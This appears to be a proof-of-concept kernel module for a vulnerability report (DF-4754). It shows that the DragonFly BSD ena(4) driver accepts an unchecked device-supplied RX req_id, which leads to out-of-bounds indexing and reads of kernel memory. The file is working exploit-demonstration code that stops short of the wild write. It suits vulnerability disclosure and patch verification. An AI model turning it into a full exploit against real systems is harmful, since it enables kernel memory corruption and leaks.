DF-4754 / df_rxreqid.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * DF-4754 proof-of-concept harness (kld module). * * Finding: ena_com_rx_pkt() (ena-com/ena_eth_com.c:536-542) copies the * device-controlled RX completion req_id (u16) into ena_rx_ctx.ena_bufs[] * WITHOUT any bounds check -- in contrast to the TX completion path, * ena_com_tx_comp_req_id_get() (ena_eth_com.c:614), which rejects * cdesc->req_id >= io_cq->q_depth. The driver consumer ena_rx_mbuf() * (ena.c:1459/1491) then does: * rx_info = &rx_ring->rx_buffer_info[req_id]; * where rx_buffer_info has ring_size (== io_cq->q_depth) entries * (allocated at ena.c:736). A hostile/compromised host (the ENA "device" * is the hypervisor) that DMAs a completion with req_id=0xFFFF drives an * out-of-bounds index ~4 MB past the array, and the driver then reads * rx_info->mbuf / rx_info->map / rx_info->ena_buf from foreign kernel * heap and ultimately writes through the resulting wild mbuf pointer * (mbuf->m_flags |= M_PKTHDR, m_pkthdr.len = <attacker len>, ...) and * leaks the memory it points at into the network stack. * * This module compiles the REAL /usr/src ena_eth_com.c (see Makefile) * and drives it with a synthesized completion ring holding exactly what * a hostile device would present. No ENA hardware required. * * DF-4754 / DragonFly 6.x ena(4) */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/types.h> #include <sys/errno.h> #include "ena_eth_com.h" int ena_log_level; /* satisfies ena_plat.h extern (0 = quiet) */ #define FAKE_QD 1024 /* == adapter->rx_ring_size == io_cq->q_depth */ #define EVIL_REQ_ID 0xFFFF /* u16 device-controlled; ring holds 1024 */ /* Mirrors the driver's struct ena_rx_buffer (ena.h:201-205): * { struct mbuf *mbuf; bus_dmamap_t map; struct ena_com_buf ena_buf; } * __cachealign -> 64 bytes. rx_buffer_info is allocated with ring_size * entries at ena.c:736. */ struct df_rxbuf { void *mbuf; void *map; uint64_t paddr; uint16_t len; } __attribute__((aligned(64))); MALLOC_DEFINE(M_DF4754, "df4754", "DF-4754 harness"); static int df4754_run(void) { struct ena_com_io_cq io_cq; struct ena_com_io_sq io_sq; struct ena_com_rx_ctx ctx; struct ena_com_rx_buf_info bufs[19]; struct df_rxbuf *ring; struct ena_eth_io_rx_cdesc_base *rcd; struct ena_eth_io_tx_cdesc *tcd; uint16_t req_id_out = 0; volatile struct df_rxbuf *oob; void *cq_mem; int rc; kprintf("DF4754: [1] TX contrast: device req_id IS validated (ena_eth_com.c:614)\n"); memset(&io_cq, 0, sizeof(io_cq)); io_cq.q_depth = FAKE_QD; io_cq.cdesc_entry_size_in_bytes = sizeof(*tcd); io_cq.direction = ENA_COM_IO_QUEUE_DIRECTION_TX; io_cq.phase = 1; cq_mem = kmalloc(FAKE_QD * sizeof(*tcd), M_DF4754, M_WAITOK | M_ZERO); io_cq.cdesc_addr.virt_addr = cq_mem; tcd = (struct ena_eth_io_tx_cdesc *)cq_mem; tcd->req_id = EVIL_REQ_ID; tcd->flags = 0x1; /* phase match */ rc = ena_com_tx_comp_req_id_get(&io_cq, &req_id_out); kprintf("DF4754: tx_comp_req_id_get(req_id=0x%04x) rc=%d (EINVAL=%d) -> %s\n", EVIL_REQ_ID, rc, EINVAL, rc == EINVAL ? "REJECTED by bounds check" : "ACCEPTED (unexpected)"); kfree(cq_mem, M_DF4754); kprintf("DF4754: [2] RX path: same device req_id, NO validation (ena_eth_com.c:540)\n"); memset(&io_cq, 0, sizeof(io_cq)); memset(&io_sq, 0, sizeof(io_sq)); io_cq.q_depth = FAKE_QD; io_cq.cdesc_entry_size_in_bytes = sizeof(*rcd); io_cq.direction = ENA_COM_IO_QUEUE_DIRECTION_RX; io_cq.phase = 1; cq_mem = kmalloc(FAKE_QD * sizeof(*rcd), M_DF4754, M_WAITOK | M_ZERO); io_cq.cdesc_addr.virt_addr = cq_mem; rcd = (struct ena_eth_io_rx_cdesc_base *)cq_mem; rcd->status = (1u << 24) | (1u << 27); /* PHASE | LAST */ rcd->length = 0x4141; /* attacker-chosen mbuf length */ rcd->req_id = EVIL_REQ_ID; /* hostile device payload */ memset(&ctx, 0, sizeof(ctx)); memset(bufs, 0, sizeof(bufs)); ctx.ena_bufs = bufs; ctx.max_bufs = 19; /* adapter->max_rx_sgl_size (<=19) */ rc = ena_com_rx_pkt(&io_cq, &io_sq, &ctx); kprintf("DF4754: ena_com_rx_pkt rc=%d descs=%u\n", rc, ctx.descs); kprintf("DF4754: ena_bufs[0].len=0x%04x ena_bufs[0].req_id=0x%04x %s\n", bufs[0].len, bufs[0].req_id, bufs[0].req_id == EVIL_REQ_ID ? "*** UNVALIDATED req_id PROPAGATED TO DRIVER ***" : "rejected"); kprintf("DF4754: [3] driver consumer (ena.c:1459): rx_buffer_info[req_id]\n"); ring = kmalloc(sizeof(*ring) * FAKE_QD, M_DF4754, M_WAITOK | M_ZERO); kprintf("DF4754: rx_buffer_info=%p (%d entries, %zu bytes, ena.c:736)\n", ring, FAKE_QD, sizeof(*ring) * FAKE_QD); kprintf("DF4754: ena.c:1459 rx_info = &rx_buffer_info[0x%04x] -> %p (%+zd KB past ring end)\n", bufs[0].req_id, &ring[bufs[0].req_id], (((char *)&ring[bufs[0].req_id] - (char *)ring) - (ssize_t)(sizeof(*ring) * FAKE_QD)) / 1024); /* The exact dereferences the driver performs next (ena.c:1462,1464): * mbuf = rx_info->mbuf; then mbuf->m_flags |= M_PKTHDR ... */ oob = &ring[bufs[0].req_id]; kprintf("DF4754: OOB read rx_info->mbuf = %p (wild mbuf*)\n", oob->mbuf); kprintf("DF4754: OOB read rx_info->ena_buf.paddr = 0x%016jx\n", (uintmax_t)oob->paddr); kprintf("DF4754: RESULT: hostile cdesc req_id reached driver indexing OOB\n"); /* We deliberately do NOT continue into mbuf->m_flags |= M_PKTHDR / * m_pkthdr.len writes through the wild pointer: propagation + OOB * indexing + OOB read are proven above. */ return 0; } static int df4754_handler(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: df4754_run(); kprintf("DF4754: harness complete\n"); break; default: break; } return (0); } static moduledata_t df4754_mod = { "df_rxreqid", df4754_handler, NULL }; DECLARE_MODULE(df_rxreqid, df4754_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df_rxreqid, 1); |